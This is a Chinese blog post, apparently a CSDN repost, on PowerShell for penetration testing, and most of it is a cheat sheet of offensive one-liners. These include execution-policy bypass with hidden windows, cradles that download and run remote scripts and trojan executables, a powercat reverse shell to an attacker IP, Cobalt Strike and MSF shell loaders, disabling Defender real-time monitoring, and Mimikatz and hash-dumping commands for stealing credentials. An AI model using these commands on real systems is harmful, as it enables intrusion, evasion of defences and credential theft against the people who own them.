PowerShell在渗透测试的使用浅析

目录

Windows PowerShell

PowerShell的优点:

查看PowerShell版本

Powershell的简单使用

PowerShell的执行策略

绕过执行策略执行PowerShell脚本

PowerShell的常用文件类命令

PowerShell远程下载文件并执行

渗透测试常用的PowerShell命令


Windows PowerShell

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行

各操作系统的PowerShell版本

操作系统 PowerShell版本
Windows7、Windows Server2008 2.0
Windows8、Windows Server2012 3.0
Windows8.1、Windows Server2012 R2 4.0
Windows10、Windows Server2016 5.0

一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列的PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为.ps1

PowerShell的优点:

  • Windows7以上的操作系统默认安装;
  • PowerShell无须写到磁盘中,它可以直接在内存中运行;
  • 可以从另外一个系统中下载PowerShell脚本并执行;
  • 很多杀毒软件检测不到PowerShell的活动;
  • cmd通常会被杀毒软件阻止运行,而PowerShell不会;
  • PowerShell可以用来管理活动目录。

查看PowerShell版本

Get-Host  
或者  
$PSVersionTable.PSVERSION

Powershell的简单使用

可以执行 ctrl+R ,输入PowerShell 调出PowerShell,也可以在cmd下输入powershell进入,还可以在cmd下输入powershell命令,但是在每条命令之前加上powershell help查看PowerShell的帮助。

PowerShell的执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行;
  • Unrestricted:允许所有的脚本执行

修改PowerShell执行策略:

Set-ExecutionPolicy 策略名       #该命令需要管理员权限运行

绕过执行策略执行PowerShell脚本

在渗透测试时,需要采用一些方法绕过策略来执行PowerShell脚本:

在cmd窗口下载远程PowerShell脚本绕过权限执行

经过测试,在cmd窗口执行远程下载的powershell脚本,不论是否为当前策略,都可以直接运行。而powershell窗口不行。

#cmd窗口执行以下命令
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1
  • ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
  • WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
  • -command(-c):执行powershell脚本;
  • NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
  • NoLogo:启动不显示版权标志的PowerShell;
  • Nonlnteractive(-noni):非交互模式;
  • Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
  • -enc  base64: 把ps脚本编码成base64来执行,实战用的最多;

PowerShell的常用文件类命令

在PowerShell下,命令的命名规范很一致,都采用了动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls 。

文件操作类的PowerShell命令

新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content  test.txt
设置文件test.txt内容t:Set-Content  test.txt  -Value "haha"
给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt

PowerShell远程下载文件并执行

cmd窗口下载文件

管理员权限才可以下载到C盘目录下,普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数

#下载文件到指定目录
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
 
#下载文件到当前目录
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');

cmd窗口下载文件并执行(exe)

远程下载木马文件并执行

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

cmd窗口下载文件并执行(powershell脚本) 

远程下载 test.ps1 脚本,直接执行,该命令可以绕过powershell的执行策略。

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

远程下载 powercat.ps1 脚本,并带参数运行,该命令可以绕过powershell的执行策略(cmd窗口下利用Powershell反弹NC shell

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

渗透测试常用的PowerShell命令

关闭Windows自带的Defender防火墙(需要管理员权限)

powershell Set-MpPreference -disablerealtimeMonitoring $true

在cmd窗口下执行,将远程主机上的test.exe 下载到本地的D盘下

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

cmd窗口下利用Powershell反弹NC shell  

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

cmd窗口下利用Powershell反弹CobaltStrike shell 

powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))  

cmd窗口下利用Powershell反弹MSF shell 

powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

cmd窗口下PowerShell读取明文密码

需要管理员权限

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

cmd窗口下PowerShell读取密码hash值

需要管理员权限

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

注:以上所有的命令都建议在cmd窗口执行!!!

相关文章:powersploit的用法

                 Powershell攻击指南黑客后渗透之道系列——进阶利用

发布了181 篇原创文章 · 获赞 11 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_45116657/article/details/103449931